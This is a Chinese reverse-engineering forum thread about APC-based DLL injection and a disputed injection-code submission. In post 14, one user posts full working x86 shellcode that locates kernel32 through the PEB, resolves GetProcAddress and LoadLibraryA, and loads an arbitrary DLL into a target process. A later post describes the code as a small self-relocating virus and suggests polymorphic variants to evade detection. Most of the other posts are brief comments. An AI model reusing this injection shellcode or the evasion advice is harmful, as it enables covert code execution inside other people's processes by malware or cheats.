能力值:
( LV12,RANK:600 )
|
-
-
2 楼
RCT没进可惜....
|
能力值:
( LV12,RANK:1010 )
|
-
-
3 楼
不可惜,继续努力呗 ~~
|
能力值:
(RANK:1130 )
|
-
-
4 楼
RCT的考题越来越南了
|
能力值:
( LV12,RANK:230 )
|
-
-
5 楼
怎么你的代码和这里的代码有些是一样的:http://www.antiprotect.com/forum_posts.asp?TID=107
|
能力值:
( LV12,RANK:1010 )
|
-
-
6 楼
和sysnap研究了下。
|
能力值:
(RANK:330 )
|
-
-
7 楼
考到越南去了
|
能力值:
( LV12,RANK:230 )
|
-
-
8 楼
其实也没什么,,只是我刚好在AntiProtect混,,又路过这里
大家一起进步把
|
能力值:
( LV12,RANK:600 )
|
-
-
9 楼
哈哈.....其实我这个code那天也是简单地改APC启动进程的......然后做了下注释发给S同学....谁知道S同学也不把我的注释删掉......所以感觉就一样咯.....
|
能力值:
( LV12,RANK:600 )
|
-
-
10 楼
其实这没什么...你当时老注入失败..我只是简单改下APC启动进程然后注释发给你...觉得没什么../....但你这句话感觉是我倒在偷你的代码....
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
这个都拟掉了还不能进RCT....额.....
DM有点科举的意思了...好邪恶
|
能力值:
( LV12,RANK:760 )
|
-
-
12 楼
DLL没有逆向~~~我关心那个DLL
|
能力值:
( LV12,RANK:760 )
|
-
-
13 楼
这个插APC的代码里怎么硬编码了~
没啥意义了~
有时间写一个插入用模块好了~
呵呵~
|
能力值:
( LV12,RANK:760 )
|
-
-
14 楼
贴一段专业的LoadDLL的APC的shellcode算了~
__declspec(naked)
UserLoadDLL(
PCHAR DLLPath,
PVOID unused1,
PVOID unused2
)
{
__asm{
push ebp
mov ebp, esp
}
__asm{
pushad
sub esp, 20 //存放得到的函数地址
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
push ebp//u 保存 下面这段程序用到了ebp
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax, [eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx, eax // 取kernel32.dll的起始地址
mov esi, dword ptr [ebx+0x3C] //u 在e_lfanew中得到pe heAder
mov esi, dword ptr [esi+ebx+0x78] //u export directory rvA
add esi, ebx
mov edi, dword ptr [esi+0x20] //u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
add edi, ebx
mov ecx, dword ptr [esi+0x14] //u AddressOfFunctions; // RVA from base of image
xor ebp, ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4 ///
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx, ebp
mov eax, dword ptr [esi+24h] //u AddressOfNameOrdinals; // RVA from base of image
add eax, ebx
shl ecx, 1
add eax, ecx
xor ecx, ecx
mov cx, word ptr [eax]
mov eax, dword ptr [esi+1Ch] //AddressOfFunctions; // RVA from base of image
add eax, ebx
shl ecx, 2
add eax, ecx
mov eax, dword ptr [eax]
add eax, ebx
pop ebp//u 保存
//--------------------------------------------------------------------
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
push 0x1 // 需要解决的函数地址的个数 硬编码可以节省两个字节
pop ecx
mov edi, esp ///////// get some spAce to edi
call locator_api_addr
push DLLPath
call dword ptr [edi-4]
jmp end_func
//--------------------------------------------------------------------
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax, eax
lodsb
test eax, eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax, eax
ret
//--------------------------------------------------------------------
// ================== 结束调用 ====================
end:
call start
__emit 'G'
__emit 'e'
__emit 't'
__emit 'P'
__emit 'r'
__emit 'o'
__emit 'c'
__emit 'A'
__emit 'd'
__emit 'd'
__emit 'r'
__emit 'e'
__emit 's'
__emit 's'
__emit 0
__emit 'L'
__emit 'o'
__emit 'a'
__emit 'd'
__emit 'd'
__emit 'L'
__emit 'i'
__emit 'b'
__emit 'r'
__emit 'a'
__emit 'r'
__emit 'y'
__emit 'A'
__emit 0
end_func:
add esp,20
popad
}
__asm
{
mov esp,ebp
pop ebp
ret
}
}
//--------------------------------------------------------------------
__declspec(naked) UserLoadDLL_end(VOID)
{
__asm{
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
__emit 0
}
}
|
能力值:
( LV12,RANK:1010 )
|
-
-
15 楼
学习~~~
|
能力值:
( LV12,RANK:760 )
|
-
-
16 楼
user部分的APC的code基本上就是一个要自己重定位的小病毒,用病毒技术自然就可以了,当然你可以自己生成这部分code,还可以做变形多态之类的工作~~
|
能力值:
( LV12,RANK:600 )
|
-
-
17 楼
vxk好强大哦
|
能力值:
( LV12,RANK:760 )
|
-
-
18 楼
不强大~
比起shellcode的好处就是这部分代码长度没有多少限制~~
|
能力值:
( LV2,RANK:10 )
|
-
-
19 楼
学习~~~
|
能力值:
( LV2,RANK:10 )
|
-
-
20 楼
学习~~~~~~~~~~
|
能力值:
( LV2,RANK:10 )
|
-
-
21 楼
好好学习下~~
|